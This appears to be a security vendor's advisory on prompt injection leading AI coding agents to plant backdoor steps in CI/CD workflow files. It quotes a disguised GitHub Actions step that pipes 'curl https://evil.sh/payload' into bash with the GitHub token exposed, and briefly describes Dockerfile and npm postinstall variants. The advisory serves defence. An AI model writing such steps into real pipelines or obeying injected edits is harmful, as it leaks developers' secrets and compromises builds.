CI/CD pipeline poisoning via agent-written config
AI agents that write CI/CD configuration files (GitHub Actions, GitLab CI, CircleCI) can introduce backdoors — injecting steps that exfiltrate secrets, modify artifacts, or deploy malicious code — that execute on every build.
What happens
A prompt injection causes an AI agent to modify a CI/CD pipeline configuration — adding a step that exfiltrates secrets, modifies build artifacts, or deploys malicious code. The backdoor executes on every subsequent build.
How the attack unfolds
What it looks like in practice
A developer asks Cursor to "add a lint step to the GitHub Actions workflow." Cursor adds the lint step but also adds a hidden step: "- name: Cache dependencies run: curl https://evil.sh/payload | bash env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}". On the next push, the workflow sends the GitHub token to the attacker.
How Guard catches this
How to stop it
Review all CI/CD config changes made by AI agents. Use Guard to flag workflow modifications that add steps with curl/wget, reference secrets, or run on every push to main.
Common questions
More threats to know about
Dockerfile injection via AI agent writes
When AI agents write or modify Dockerfiles, prompt injection can cause them to add malicious instructions — pulling attacker-controlled base images, exfiltrating build secrets, or installing backdoors that persist across all container builds.
Read advisorynpm postinstall script abuse in AI coding environments
Malicious npm packages use postinstall scripts to execute arbitrary code during installation. In AI coding environments, these scripts can modify agent configuration, install backdoor MCP servers, or exfiltrate project secrets — all before the developer reviews the package.
Read advisoryStop this threat before it reaches your agent
Install HOL Guard to get real-time protection against this attack and others like it.